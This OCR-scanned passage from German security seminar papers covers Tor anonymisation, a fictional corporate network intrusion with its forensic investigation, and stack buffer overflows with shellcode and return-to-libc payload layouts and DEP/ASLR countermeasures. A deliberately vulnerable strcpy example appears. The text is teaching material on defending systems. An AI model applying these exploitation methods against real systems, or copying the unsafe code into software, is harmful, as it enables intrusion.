liert wurde, endet die Verfolgung an einem Proxyserver, falls dieser keine Protokollierung der
durch ihn vermittelten Verbindungen vorgenommen hat. Das Proxy-Server Schaubild veran-
schaulicht die Verbindung nochmals.

6.4.2 The Onion Router

Aus Sicht des Angreifers ist bei solchen Prozyservern die Vertrauenswiirdigkeit ein Problem,
denn er kennt i.d.R. die Protokollierungseinstellungen des Servers nicht. Auch sind alle un-
verschliisselten Daten durch den Proxyserver lesbar. Eine etablierte Losung fiir diese Pro-
blemstellungen bietet das Anonymisierungsnetzwerk Tor (The Onion Router) [t09a]. Dies ist
ein Peer-to-Peer Netz (kurz P2P), welches Pakete {iber mindestens drei Prozies iibertragt.
Hierbei wird das Paket mehrfach verschliisselt, je einmal fiir jeden Prozy, der dann immer
nur in der Lage ist, die jeweilige Verschliisselungsschicht (Zwiebelschalenprinzip), die fiir ihn
bestimmt war, zu entfernen. Die Nutzdaten des Pakets bleiben weiter verschliisselt, er kann
lediglich den néchsten Tor-Proxy bestimmen, an den das Paket weiterzuleiten ist. Erst der
letzte Tor-Proxy, genannt Fxit-Node, kann das Paket vollstindig entschliisseln und ans Ziel
weiterleiten. Jeder der involvierten Tor-Knoten kennt nun maximal seinen Vorgénger und
Nachfolger in der Kette. Ein Verbindungsschema zeigt die Abbildung, hierbei sind die ver-
schliisselten Pfade griin und der Unverschliisselte rot gekennzeichnet. Durch die minimale
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Abbildung 5: Schematische Darstellung einer Verbindung iiber Tor

Knotenzahl von 3 innerhalb einer Verbindung und die Verschliisselung des gesamten Inhal-
tes kann somit kein Knoten gleichzeitig Sender und Empfianger des Pakets kennen. Weitere
Informationen hierzu gibt es auf der Website von Tor: tor.eff.org.

7 Fallbeispiel ,,Hack eines Firmennetzwerkes"

Zum Abschluss wird anhand eines Fallbeispiels ein fiktives Vorgehen eines Angreifers sowie
die Entdeckung und forensische Untersuchung seiner Aktivitidten darstellen. Dies soll dem
Leser einen Eindruck der allgegenwértigen Gefahr von Angreifern sowie der Moglichkeiten
und Grenzen einer forensischen Untersuchung im konkreten Fall vermitteln.

7.1 Der Angriff

Sei die Abc GmbH ein mittelstdndisches Unternehmen am Standort Deutschland mit positiven
Wachstumszahlen und gut ausgebauter I'T-Infrastruktur, jedoch auch mit einigen Wettbewer-
bern, die sich zusehends von der Abc GmbH um Marktanteile bedroht fithlen. Einer dieser
Wettbewerber mit Sitz im Ausland beauftragt nun einen Angreifer, in das Netz von Abc
einzudringen und Unternehmensdaten wie Email-Kommunikation, Geschéftsinformationen
(Kunden, Angebote) und Knowhow abzugreifen.

Der Angreifer verbirgt seine Identitdt durch das Tor-Netzwerk, eine Standard-Sicherheits-
mafinahme. Ein erster Portscan an dem Router von Abc offenbart offene eingehende Ports
fir HTTP, Mail, VPN und DNS. Eine Untersuchung auf Sicherheitsliicken offenbart eine
Schwachstelle im HTTP-Server.

Der Angreifer dringt iiber den Webserver ein und erlangt dort root-Rechte. Anschlieend be-
ginnt er, das Netzwerk zu erkunden, in dem er sich befindet. Dieses ist im folgenden Schaubild
vereinfacht dargestellt. Er stellt fest, dass er sich noch nicht im internen Netz der Abc GmbH
befindet, sondern dass es sich hier um die so genannte Demilitarized Zone (DMZ) handeln
muss, eine Sicherheitsstufe zwischen dem Internet und dem internen Netzwerk der Firma.

In der DMZ entdeckt er einen DNS-Server, einen Mailserver und eine Firewall, sie fiihrt in
das interne Netz der Abc GmbH.

Der Angreifer installiert nun auf dem Webserver einen Paket-sniffer - ein Programm zum
Mithoren des Netzwerkverkehrs - und schafft es auch, den Switch dazu zu bewegen, den
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Abbildung 6: Vereinfachte Darstellung der Netzwerkstruktur der Abc GmbH

Netzverkehr blind an alle Hosts im lokalen Netz zu senden. Somit kann er nun mit seinem
Paket-Sniffer allen Datenverkehr zwischen der Firma und dem Internet belauschen. Da er
sich auf einem Webserver befindet, kann er die gesammelten Daten blockweise per HT'TP
herunterladen.

Neben verschliisselten Datenstromen wie dem VPN-Verkehr oder SSL-Verbindungen, mit
denen er nichts anfangen kann, besitzt er nun Einsicht in den gesamten Emailaustausch der
Abec GmbH mit externen Kontakten, welcher meistens noch unverschliisselt erfolgt. Uber
Wochen hinweg gelingt es ihm so, unbemerkt sensitive Geschéftsdaten abzugreifen und an
seinen Auftraggeber weiterzuleiten.

In einer abgefangenen Email eines Mitarbeiters an dessen private Emailadresse findet der
Angreifer VPN-Zugangsdaten, also Benutzername und Passwort, zum internen Firmennetz.
Nachdem der Angreifer sich mit Hilfe dieser Zugangsdaten in das interne Netz eingewéhlt
hat, startet er dort einen Scanvorgang, um alle aktiven Rechner zu ermitteln.

7.2 Entdeckung und Analyse

Diese Aktivitdt wird von einem Intrusion Detection System (IDS) aufgezeichnet, welches
einen Administrator iiber den Vorgang alarmiert. Dieser stellt anhand der Meldung des IDS
fest, dass der Ursprung des Scans vom VPN-Server kommt. Uber die VPN-Server-Protokolle
wird der Mitarbeiter ermittelt, iber dessen Zugang der Scan erfolgt ist. Nach Riicksprache
mit diesem ist sicher, dass es sich um einen unbekannten Angreifer handelt. Der betreffende
VPN-Zugang wird vorerst deaktiviert, der Angreifer kann somit nicht mehr in das interne
Netz eindringen.

Die anschlielende Analyse des VPN-Servers ergibt keine Hinweise auf eine Kompromittierung.
Untersuchungen der IP-Adresse des Angreifers ergeben, dass es sich um einen Ezxit-Node des
Tor-Netzes handelt, was eine weitere Verfolgung ausschlief3t.

Nun muss die Frage geklart werden, woher der Angreifer den VPN-Zugang des Mitarbeiters
kannte. Der Mitarbeiter rdumt dabei ein, diese an seine private Emailadresse gesendet zu
haben. Es liegt nahe, dass diese Email irgendwo auf dem Weg zwischen Firma und privater
Mailbox abgefangen und mitgelesen wurde.

RoutineméBig wird auch die DMZ nach verdéchtigen Aktivitdten durchsucht, wobei der ma-
nipulierte Switch, der nur noch im Repeater-Betrieb arbeitet und somit den gesamten Daten-
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verkehr an alle Anschliisse weiterleitet, sofort auffallt. Daraufhin miissen alle Server dieser
Zone griindlich untersucht werden, es muss in erwéigung gezogen werden, dass mindestens
einer davon manipuliert wurde.

Der Paket-Sniffer auf dem Webserver wird erkannt und eine Uberpriifung des Webservers
seitens des Administrators offenbart eine bekannte Sicherheitsliicke, die nicht geschlossen
wurde.

Auch wird eine der Dateien mit dem abgefangenen Netzwerkverkehr gefunden, die der Angrei-
fer sich zum Download vorbereitet hatte. Wie der Angreifer an die Email mit den Zugangsda-
ten des Mitarbeiters gelangen konnte scheint nun geklart, welche weiteren Daten ausgespéaht
wurden l&sst sich nur vermuten. Die Datenmenge kann jedoch durch die Kenntnis des Zeitrau-
mes der Aktivitidten abgeschitzt werden, und sie lasst darauf schlieflen, dass dies ein gezielter
Angriff war.

7.3 Prasentation und MaBnahmen

Abschlielend werden die Ergebnisse der Untersuchungen aufbereitet und der Fithrungsebene
prasentiert, um auch den technisch weniger versierten Entscheidungstrdgern eine moglichst
vollstéindige Analyse des Vorfalles zu vorzulegen. Da der Schaden nun nicht mehr behoben
werden kann, dienen die weiteren Mafinahmen lediglich der Schadensbegrenzung und der Pra-
vention. Diese sollten neben der Installation eines Intrusion Detection System in der DMZ
und dem SchlieBen der initialen Sicherheitsliicke im Webserver auch die Anderung aller Zu-
gangspassworter sowie eine Schulung und Sensibilisierung der Mitarbeiter beinhalten.

8 Zusammenfassung

Computer-Forensik ist ein weitreichendes und technisch anspruchsvolles Gebiet. Es wurden
Motivation und Ziele, aber auch Werkzeuge und Methoden vorgestellt. Der Leser konnte einen
FEinblick in die auftretenden Problemstellungen und die damit verbundenen Grenzen dieser
Disziplin erhalten, weiterhin wurden Moglichkeiten ertrtert, wie von Seiten eines Angrei-
fers eine Beweissicherung erschwert werden kann. In dem abschliefenden Fallbeispiel wurde
ein mogliches Vorgehen eines Angreifers und dessen Entdeckung, sowie die darauf folgenden
Untersuchungsschritte erlautert.
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Defekte in Software: Buffer-Overflows, Format-String-Fehler
und Race-Conditions

Marcel Noe

Die meisten erfolgreichen Angriffe auf Computersysteme basieren auf Fehler in
der verwendeten Software. Die hidufigsten Fehler, die in Server-Software zu finden
sind, lassen sich in die Klassen Stack- oder Heap-Overflow, Format-String Fehler
oder Race-Condition einteilen. In dieser Seminararbeit wird ein Uberblick iiber
diese Arten von Fehlern gegeben, sowie gingige Abwehrmechanismen vorgestellt
und eine Bewertung dieser vorgenommen.

1 Einleitung

Die Kommunikation iiber das Internet hat in den letzten Jahren immer mehr an Bedeutung
gewonnen. Fast jeder Vorgang des realen Lebens, seien es nun Einkdufe, Finanztransaktionen
oder Behordengéinge, wie z.B. das Abgeben einer Steuererkldrung, kann mittlerweile iiber das
Internet vorgenommen werden. Hierdurch steigen aber auch die Auswirkungen von Fehlern
in Computersoftware und das wirtschaftliche Interesse daran, diese auszunutzen. Wo es vor
einigen Jahren vielleicht nur &rgerlich war, wenn man aufgrund eines Computerviruses oder
gehackten Rechners eine Zeit lang auf gewisse Dienste wie z.B. E-Mail nicht zugreifen konnte,
so ziehen Fehler in Computerprogrammen mittlerweile immer mehr auch finanzielle Verluste
nach sich.

Um das Auffinden und Ausnutzen von Sicherheitsliicken in Computerprogrammen hat sich
mittlerweile eine ganze Industrie etabliert — Schwarzmérkte fiir so genannte Exploits, also
kleine Scripte oder Programme, die dazu dienen, eine bestimmte Sicherheitsliicke in einem
verwundbaren Programm auszunutzen, sind lingst Realitiit!.

Umso wichtiger wird es, gingige Sicherheitsliicken in Software zu kennen, zu wissen auf welche
Arten sie ausgenutzt werden konnen, und sich iiber Abwehrmafinahmen zu informieren.

Im Abschnitt |2 werden zuerst einige Grundbegriffe erldutert, die zum spéteren Verstindnis
notwendig sind. Danach werden die vier hiufigsten Arten von Sicherheitsliicken vorgestellt
und es wird kurz darauf eingegangen, wie diese iiblicherweise ausgenutzt werden. Zum Schluss
jedes Abschnitts werden noch die bekanntesten Abwehrmafinahmen vorgestellt, und es wird
eine kurze Bewertung iiber deren Wirksamkeit vorgenommen.

Besonderer Schwerpunkt dieser Arbeit liegt auf Stack-Buffer-Overflows, weil es sich hierbei
um die bekanntesten und wahrscheinlich am besten erforschten Sicherheitsliicken handelt.

Bei Heap-Bufter-Overflows und Format-String-Fehlern handelt es sich um vergleichsweise neue
Arten von Sicherheits-Liicken, deren Ausnutzbarkeit erst seit einigen Jahren bekannt ist.

Auf Race-Conditions, also Fehler bei denen der Erfolg einer Operation von dem zeitlichen
Verlauf mehrerer Einzel-Operationen abhéngt, wird nur kurz eingegangen.

'Bei https://wslabi.com handelt es sich so z.B. um eine Art E-Bay fiir Zero-Day-Exploits.
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In den meisten Teilen dieser Arbeit wird von der Verwendung einer GNU /Linux-Plattform
auf giangigen PC-Systemen mit x86-Prozessor sowie der Programmiersprache C ausgegangen,
an einigen Stellen werden jedoch auch Besonderheiten der Windows Plattform von Microsoft
beschrieben.

2 Grundlagen zum Verstandnis

2.1 Ubersicht x86

Die x86-Architektur ist die bis heute am weitesten verbreitete Prozessorarchitektur der Welt.
Bei dem ersten Vertreter dieser, dem 8086-Mikroprozessor, handelte es sich um eine 16-Bit
CPU mit CISC-Befehlssatz, die Ende der 1970er Jahre von Intel auf den Markt gebracht
wurde.

Enorme Bedeutung bekam diese Architektur als der ab 1981 von IBM produzierte IBM-PC
zu grofem Erfolg gelangte. Heutzutage haben PCs mit x86 CPU bis auf wenige Ausnahmen
alle anderen Architekturen in den Sparten Notebook-, Desktop- und Server-Computer vom
Markt verdridngt. Anzumerken ist, dass der Erfolg der x86 nicht auf besonderer technischer
Innovation beruhte, sondern vor allem durch den geringen Stiickpreis der CPUs begriindet
war.

Die x86-Architektur verwendet durchgehend eine sogenannte Little-Endian-Codierung, auf
die in Abschnitt [4.3/noch genauer eingegangen wird.

2.2 Wichtige Register

Im Gegensatz zu z.B. der MIPS-Architektur, die vor allem iiber general purpose Register
verfiigt, haben die meisten Register der x86-Architektur eine speziellen Zweck. Fiir die Zwe-
cke dieser Ausarbeitung ist vor allem das Register %eip interessant. In diesem wird der so
genannte Instruction Pointer, also ein Zeiger auf den néchsten auszufiihrenden Befehl, gespei-
chert. Von weiterem Interesse ist das Register %esp, das einen Zeiger auf die aktuelle Position
des Stacks enthélt.

2.3 Organisation des Speichers eines Prozesses

Linux verwendet — wie jedes moderne Betriebssystem — virtuellen Speicher. Jedem Prozess
steht damit sein eigener, linear adressierbarer Adressraum zu (bei einem 32-Bit System ist
dieser in der Regel 4 GB grof}). Der Speicherraum eines Prozesses ist in 3 Bereiche aufgeteilt:
Textsegment (manchmal auch Codesegment genannt), Datensegment und Stack.

Der Schematische Aufbau ist nochmal kurz in Tabelle 1| dargestellt.

Text-Segment

Daten-Segment (inkl. Heap)

Freier Speicherbereich

Stack

Tabelle 1: Schematische Anordnung des Adressraums eines Prozesses
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2.3.1 Textsegment

Das Textsegment enthélt den ausfithrbaren Code eines Programms. Wird ein Programm mehr-
mals ausgefiithrt, so muss sein Textsegment nur einmal in den Speicher geladen werden. Das
Textsegment ist meistens als read-only markiert, und jeder Versuch, es zu verdndern, fiithrt
zu einer Schutzverletzung (Segmentation Fault).

2.3.2 Datensegment und Heap

Das Datensegment ist nochmal in mehrere Unterbereiche untergliedert. Der Datenteil enth&lt
alle globalen Variablen, die nicht mit Null initialisiert wurden. Die mit Null initialisierten glo-
balen Variablen werden dagegen im BSS-Segment innerhalb des Datensegments gespeichert.
Am Ende des Datensegments befindet sich der Heap. Aus diesem werden alle Anfragen nach
mehr Speicher bedient, die das Programm wéihrend seiner Laufzeit stellt. Hierfiir steht dem
Programmierer der Befehl malloc() zur Verfiigung.

Die genaue Organisation des Heaps héngt von der verwendeten libc ab. Mehr zu diesem
Thema findet sich in Abschnitt [3.2]

2.3.3 Stack

Der Sinn des Stacks ist es, das Betriebssystem beim Ausfithren von Function Calls (siehe
dazu auch Abschnitt 3.1) zu unterstiitzen. Hierzu wird mit dem Stack eine Last-in-First-out
(LIFO) Datenstruktur zur Verfiigung gestellt.

Der Stack ermoglicht es, verschachtelte Funktionsaufrufe mit nahezu beliebiger Tiefe einfach
und effizient zu realisieren.

Bemerkenswert ist, dass der Stack am oberen Ende — also bei der hochsten dem Prozess
zur Verfiigung stehenden Adresse — beginnt und nach unten in Richtung des Heaps wéichst.
Zwischen Heap und Stack befindet sich der unbenutzte Speicher, und Heap und Stack wachsen
aufeinander zu.

Da Feldvariablen (Arrays) von der niedrigsten Adresse zur hochsten Adresse geordnet werden,
fithrt dies dazu, dass man bei der Benutzung von Arrays entgegen der Wachstumsrichtung
des Stacks schreibt.

3 GNU/Linux & GCC

Bei GNU/Linux handelt es sich um ein weit verbreitetes, freies, UNIX-artiges Betriebssystem.

Grofle Teile dieses Systems sind in der Programmiersprache C geschrieben und werden stan-
dardm#Big mit dem ebenfalls freien Compiler-Paket GCC (GNU Compiler Collection) iiber-
setzt.

Es gibt auch andere Compiler (z.B. den ICC von Intel), diese werden hier allerdings nicht
betrachtet.

3.1 Funktionsaufrufe

Eine wichtige Anforderung an Funktionsaufrufe ist, dass man diese bis zu theoretisch belie-
biger Tiefe verschachteln kann.
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Natiirlich ist man in der Realitdt durch Rahmenparameter, wie verfiigharen Hauptspeicher
eingeschrankt, jedoch ist die Anzahl der moglichen Verschachtelungen immer noch sehr hoch
(ein fiir diese Zwecke geschriebenes Testprogramm, in dem sich eine Testfunktion immer
wieder sich selbst aufrief, brach erst bei einer Rekursionstiefe in der Groflenordnung von
690.000 verschachtelten Aufrufen ab).

Bei dem hier betrachteten System sieht ein Funktionsaufruf folgendermaflen aus: Das auf-
rufende Programm legt die Parameter fiir die aufzurufende Funktion nacheinander auf den
Stack, und benutzt dann die Assembler-Instruktion Call, um diese Funktion anzuspringen.

Call legt zuerst den aktuellen Befehlszeiger auf den Stack, damit das Programm beim Verlas-
sen der Funktion an der Codestelle nach dem Funktionsaufruf die Arbeit wieder aufnehmen
kann (daher nennt man den gespeicherten Befehlszeiger auch die Riicksprungadresse). Danach
springt Call die aufgerufene Funktion an.

Beim Eintritt in die angesprungene Funktion legt diese zuerst den aktuellen Framepointer auf
den Stack, und alloziert danach Speicherplatz fiir alle in ihr deklarierten lokalen Variablen
(ebenfalls auf dem Stack), indem sie den Stack-Pointer um den fiir die Variablen ben&tigten
Platz dekrementierﬂz. Da das Allozieren und Deallozieren des Speicherplatzes fiir diese Va-
riablen automatisch beim Betreten und Verlassen der Funktion geschieht, nennt man diese
automatische Variablen.

Das Aussehen des Stacks wihrend eines Funktionsaufrufs wird in Tabelle |2 noch einmal
visualisiert.

Riicksprungadresse
Framepointer
Parameter 1

Parameter 2
Automatische Variable 1
Automatische Variable 2

Tabelle 2: Belegung des Stacks wihrend eines Funktionsaufrufs

Hierbei muss beachtet werden, dass bestimmte Architekturen Speicherausrichtung verlangen,
d.h. dass der Speicher nur in Blocken gewisser Grofie adressiert werden kann, also evtl. mehr
Platz reserviert werden muss, als fiir die Speicherung der Variablen eigentlich notwendig wére.

Bei der hier betrachteten x86-Architektur ist Speicherausrichtung zwar prinzipiell nur bei der
Verwendung von SIMD Instruktionen notwendig und ansonsten optional, wird allerdings aus
Performancegriinden trotzdem oft vorgenommen.

Ist die Vorbereitungsphase abgeschlossen, beginnt die aufgerufene Funktion ihre Arbeit und
schliefit diese irgendwann durch ein explizites oder implizites return() ab.

Hierzu werden die Assembler-Instruktionen leave, welche den von der Funktion allozierten
Speicher aufriumt, und ret, die die auf dem Stack gespeicherte Riicksprungadresse anspringt,
indem sie diese in %eip lidt, verwendet.

3.2 glibc

Die Programmiersprache C besitzt keine eingebauten Funktionen. Diese werden erst durch
externe Bibliotheken zur Verfiigung gestellt. Die wichtigste dieser Bibliotheken ist die so

2Dekrementieren deshalb, weil der Stack nach unten wiichst.
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genannte Standard C Library, in der sich unter anderem Funktionen fiir Ein- und Ausgabe, die
Speicherverwaltung sowie ein Interface zu den System-Calls des verwendeten Betriebssystems
befinden.

Es gibt viele verschiedene Implementierungen dieser Standard-Bibliothek, die auch kurz libc
genannt wird — die bekannteste diirfte allerdings die GNU-C-Bibliothek, kurz glibc sein.

Dariiber hinaus gibt es jedoch noch unzéhlige weitere Implementierungen, wie z.B. die der
Betriebssysteme Free-, Net- und OpenBSD, die dietlibc sowie die msvert.dll von Microsoft.
Aufgrund ihrer grofien Verbreitung, wird hier jedoch nur die glibc betrachtet.

Sofern eine C-Bibliothek fiir die Plattform, fiir die ein Programm geschrieben wird, verfiighar
ist, kann die Bibliothek beim Linken des Programms frei gew#hlt werden. Wurde das Pro-
gramm dynamisch gelinkt, muss die entsprechende Library zum Zeitpunkt der Ausfiihrung
auf dem Zielsystem vorhanden sein.

Unabhéngig davon, ob man ein Programm statisch oder dynamisch linkt, werden beim Starten
des Programms alle aus der libc verwendeten Funktionen in den Hauptspeicher geladen, so
dass sie verwendet werden koénnen.

Konkret bedeutet dies, dass sich alle verwendeten Ilibc-Funktionen zur Laufzeit des Pro-
gramms im Adressraum des selbigen befinden.

Dariiber hinaus ist die verwendete libc fiir die Verwaltung des Heap-Speichers verantwort-
lich. Der Kernel stellt lediglich Speicher-Seiten zur Verfiigung, die genaue Organisation muss
allerdings im Userspace vorgenommen werden.

4 Stack-Buffer-Overflows

4.1 Einleitung

Bei Stack-Buffer-Overflows handelt es sich um die bekanntesten Vertreter der Kategorie
Buffer-Overflow und somit um die haufigsten Sicherheits-Liicken iiberhaupt. Hierbei han-
delt es sich um Fehler, bei denen die Kapazitdten von auf dem Stack liegenden Variablen
iiberschritten werden.

4.2 Funktionsweise

Stack-Buffer-Overflows entstehen dadurch, dass mehr Daten in eine auf dem Stack liegende
Variable eingelesen werden, als in dieser eigentlich gespeichert werden koénnen.

Sehr haufig passiert so etwas bei der Verwendung von Strings. Strings sind in C als Array
von chars realisiert. Damit Funktionen, die Strings verarbeiten, wissen, wann diese Strings zu
FEnde sind, wird an das Ende eines Strings eine Bindre Null angehéngt. Problematisch hierbei
ist allerdings, dass nirgendwo gespeichert ist, wie viel Platz fiir die Variable, in der ein String
gespeichert wird, reserviert wurde. Werden zur String-Verarbeitung Funktionen wie gets()
oder strcpy () eingesetzt, die die Linge der eingegebenen Strings nicht beschriinken, so kann
es passieren, dass ein Schreiben iiber das Ende eines Strings erfolgt.

Damit ein Stack-Buffer-Overflow, und somit eine fiir einen Angreifer ausnutzbare Liicke,
entsteht, muss sich die Variable, in die geschrieben wird, auf dem Stack befinden. Dies ist
allerdings fiir jede automatische Variable, die innerhalb einer Funktion verwendet wird, bereits
erfiillt.

Um dies zu verdeutlichen, ein Beispiel:
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void function (int a, int b, int c) {
char bufferl [5];
char buffer2 [80];

// Buffer 2 lesen
fgets (buffer2 , 19, stdin);

// Buffer 2 in Buffer 1 kopieren
strepy (bufferl , buffer2);

Hier werden zunéchst zwei Variablen, bufferl und buffer2, deklariert. Da es sich um Variablen
innerhalb einer Funktion handelt, landen diese auf dem Stack.

In der Variable buffer]l kénnen nun bis zu 5 Zeichen gespeichert werden (Zeile 2) — von denen
allerdings, wegen der geforderten Terminierung mit einer Binédren Null, nur 4 verwendet wer-
den kénnen. In der Variable buffer2 kénnen allerdings bis zu 80 Zeichen (Zeile 3) gespeichert
werden — von denen auch wiederum nur 79 nutzbar sind.

In Zeile 6 werden nun Daten von stdin (was in der Regel die Tastatur ist) in die Variable
buffer2 eingelesen. Der zweite Parameter der Funktion fgets () stellt sicher, dass das Einlesen
nach 19 Zeichen abgebrochen wird.

Es wurden nun bis zu 19 Byte in die Variable buffer2 eingelesen. Zusétzlich héngt fgets nun
noch eine bindre Null an buffer2 an, um das Ende des eingegebenen Strings zu markieren.
Die Gesamtlinge des Strings in buffer2 kann nun also bis zu 20 Byte betragen.

Problematisch wird es nun in Zeile 9: Hier wird der Inhalt von buffer2 in die Variable bufferl
kopiert. Wie wir sehen, wird der Funktion strcpy () kein Parameter iibergeben, der die Anzahl
der kopierten Bytes beschrianken wiirde.

Diese Funktion kopiert nun so lange Zeichen aus buffer2 in bufferl, bis sie in buffer2 auf eine
binédre Null trifft, die das Ende der in buffer2 gespeicherten Zeichenkette markiert.

buffer1 kann lediglich 4 Zeichen aufnehmen, in buffer2 sind allerdings bis zu 19 Zeichen gespei-
chert. Dies kann zu einem Problem werden: Ein String in C ist nichts anderes, als ein Array
von chars. Die dazugehorige Variable ist ein Pointer auf das erste Element dieses Arrays. Nun
tut die Funktion strcpy() nichts anderes, als diesen Pointer fiir jedes zu schreibende Zei-
chen jeweils um ein Byte zu inkrementieren. Dabei hat sie gar keine Moglichkeit festzustellen,
wenn der Pointer, den sie inkrementiert, gar nicht mehr in den fiir die Variable vorgesehen
Speicherplatz sondern auf den Speicherplatz einer ganz anderen Variable zeigt. Fiir den Fall,
dass die gelesene Variable langer ist, als die, in die geschrieben wird, wird strcpy() andere
Variablen iieberschreiben.

4.3 Exploits
Wie wir gesehen haben, ist es moglich, in Array-Variablen mehr Daten einzulesen, als Platz
fiir diese reserviert wurde.

Die Frage ist nun, wie sich dieses Verhalten dazu ausnutzen lisst, das betroffene Programm
zur Ausfithrung von Schadcode zu bringen.

In Abschnitt 3.1 wurde gezeigt, dass die Adresse, an die ein Programm nach dem Ausfiihren
einer Funktion zuriickkehrt, auch auf dem Stack abgelegt wird.
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Array-Variablen werden in aufsteigender Richtung geschrieben, wohingegen der Stack in ab-
steigende Richtung wéchst. Konkret bedeutet dies, dass ein Schreibvorgang iiber die Grenzen
eines Arrays dazu fiihrt, dass Variablen, die in der Vergangenheit auf den Stack gelegt wurden,
iiberschrieben werden.

Da die Riicksprungadresse zeitlich vor dem Anlegen der automatischen Variablen auf dem
Stack abgelegt wurde, ist es moglich, dass durch das Schreiben hinreichend vieler Zeichen in
eine automatische Variable irgendwann auch die Riicksprungadresse der Funktion, in der wir
uns momentan befinden, iiberschrieben wird.

Wie lésst sich dies nun zum Ausfithren, beliebigen Codes ausnutzen? Hierzu gibt es mehrere
Moglichkeiten:

e Die bekannteste ist, den Code, den man ausfithren mochte, vor der Riicksprungadresse
in die iiberlaufende Variable zu schreiben und danach die Riicksprungadresse auf den
Anfang dieses Codes zu setzen. Da dieser Code meistens eine Shell startet, nennt man
ihn auch Shell-Code.

Da oft nicht bekannt ist, an welcher Adresse im Speicher man sich gerade befindet,
ist dies nicht immer einfach. Hierbei kann es hilfreich sein, den Code am Anfang mit
NOP-Befehlen aufzufiillen, so dass man den Code nicht genau treffen muss.

Ein weiteres Problem ist, dass oft nur sehr wenig Platz zur Verfiigung steht, so dass der
Code sehr kompakt gestaltet sein mussg

e Eine elegantere Moglichkeit zum Ausfiithren beliebigen Codes ist es, an Stelle des Codes
Parameter fiir eine Funktion aus der libc (sinnvollerweise execve oder system) auf den
Stack zu legen, und dann die Riicksprungadresse auf diese Funktion zu setzen. Dies
nennt man auch Return-to-libc-Angriff (vgl. Abschnitt |4.4.1]).

Insgesamt muss also einen spezieller String erzeugt werden, der dem verwundbaren Programm
als KEingabe iibegeben wird. Zunéchst muss ein geeigneter Wert fiir die Riicksprungadresse
gefunden werden.

Dieser Wert wird dann hexadezimal in den zu erzeugenden String geschrieben. Da es sich
bei x86 um eine Little-Endian-Architektur handelt, muss die Reihenfolge der Bytes in der
Riicksprungadresse umgedreht werden, so dass das Byte mit der geringsten Wertigkeit (Least
significant Byte, LSB) am Anfang, und das mit der hochsten Wertigkeit (Most significant
Byte, MSB) am Ende steht !

Nun fiigt man, je nach gewahlten Angriff, entweder den Shell-Code auf der linken Seite, oder
die Parameter fiir die libc-Funktion auf der rechten Seite der Riicksprungadresse in den String
ein.

Als letzten Schritt fiillt man diesen String so lange von links mit Fiillzeichen auf, bis man die
manipulierte Riicksprungadresse so weit verschoben hat, dass sie spéter genau den Wert der
Riicksprungadresse auf dem Stack iiberschreibt.

Der gesamt Vorgang wird in Abbildung|1l noch einmal verdeutlicht.

Fiir einen Angriff mit Shellcode-Injection sollte der manipulierte String nun folgendes Format
haben:

<Fuellzeichen><Shellcode><Neue Ruecksprungadresse>

3Mittlerweile gibt es Toolkits wie Metasploit, mit denen sich Exploits und Shellcodes im Baukastenverfahren
herstellen lassen.
1Dies bereitete dem Autor beim erstellen eines Demo-Exploits einiges Kopfzerbrechen.
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Wachstumsrichtung A A A A A A A A
von bufferl
char buffer1[5] \0 char buffer1[5] A A A A
intc intc A A A A
inthb inthb A A A A
inta inta A A A A
. Frame Pointer Frame Pointer A A A A
Wachstumsrichtung
des Stacks
Ricksprung Adr. Riicksprung Adr. 78 56 34 12
Frisch Initialisierter Stack String 'AAAA’ in bufferl Overflow von bufferl

und Uberschreiben
der Rucksprungadresse

Abbildung 1: Schematische Darstellung eines Stack-Buffer-Overflows

Bzw. folgendes im Falle eines Return-to-libc-Angriffs:

<Fuellzeichen><Neue Ruecksprungadresse><Paramter fuer libc-Funktion>

4.4 GegenmaBnahmen
4.4.1 Data-Execution-Prevention

Data Execution Prevention, von manchen Herstellern auch Write or Execute, Exec Shield
oder Executable space protection genannt, ist eine Methode, Speicherbereiche als nicht aus-
fiihrbar zu markieren. Dies kann entweder Hardware-Unterstiitzt mittels des NX-Bits von
AMD oder des XD-Bits von Intel oder aber mittels Software-Emulation erreicht werden. Die
Hardware-Unterstiitzte- Variante ist allerdings nur auf x86-Prozessoren mit 64-Bit Erweite-
rungen verfiighar.

Wird so z.B. der gesamte Stack als nicht ausfithrbar markiert, fithrt die oben beschriebene
Attacke, bei der Shell-Code auf den Stack gelegt wird, und die Riicksprungadresse auf diesen
gesetzt wird, zu einem Fehler und das Programm terminiert anormal.

Dies bringt allerdings auch Probleme mit bestimmter Anwendungs-Software mit sich, falls
diese Teile ihres Codes wie z.B. Plugins auf dem Stack ablegt. Als so z.B. mit Service Pack 2
Data Execution Prevention in Windows XP eingefiihrt wurde, funktionierte einige Software
wie Microsoft Office, Adobe Photo-Shop oder der DivX-Codec nicht mehr, so dass diese
Software von dieser Schutzmafinahme ausgeschlossen werden musste — was natiirlich dazu
fithrte, dass die betroffene Software auch nicht mehr geschiitzt wurde.

Lange Zeit wurde angenommen, dass mit Data Execution Prevention u.i. Methoden Stack-
Buffer-Overflows nicht mehr auftreten konnen. Dies lag daran, dass das Ablegen von Shell-
Code auf dem Stack die verbreitetste Moglichkeit war, Stack-Buffer-Overflow-Liicken auszu-
nutzen.

Mithilfe der in Abschnitt 4.3 beschriebenen Return-to-libc Attacke ist es jedoch moglich, Data
Execution Prevention komplett auszuhebeln: Da direkt in einen Speicherbereich gesprungen
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wird, der ausfithrbar sein muss, ist ein ein Ablegen von ausfithrbarem Code gar nicht mehr
erforderlich.

Ohne weitere Schutzmafinahmen bietet Data Execution Prevention also keinen ausreichenden
Schutz vor Stack-Buffer-Overflow-Liicken.

4.4.2 ASLR

Address Space Layout Randomization oder kurz ASLR ist eine Technik, die die Position von
Elementen wie z.B. Heap, Stack und die Adresse von Funktionen im Speicher zuféllig veran-
dert. Hierdurch soll das Ausnutzen eines Buffer-Overflows erschwert bis unmdoglich gemacht
werden, da ein Angreifer idealerweise nicht mehr vorhersagen kann, wo sich was im Speicher
befindet und seine manipulierten Spriinge daher ins Leere laufen.

Die Position der Elemente im Speicher wird entweder beim Starten des Programms oder
zur Compile-Zeit festgelegt. Hierdurch soll insbesondere die Return-to-libc Attacke erschwert
werden, da es dem Angreifer nicht moglich sein soll, die Position der libc-Funktionen im
Speicher vorherzusagen. Daher ist diese Technik besonders sinnvoll in Kombination mit der
oben genannten Data-Execution-Prevention.

Implementiert wird diese Technik unter anderem von dem PaX-Patch fiir den Linux Kernel,
OpenBSD, Windows Vista sowie Mac-OS X 10.5 (,,Leopard“w.

Wie Shachman et. al. in [SGPM104] zeigen, ldsst sich mit dieser Technik auf 32-Bit Rech-
nern lediglich eine Entropie von 16-20 Bit erreichen, was in der Praxis einen Angriff zwar
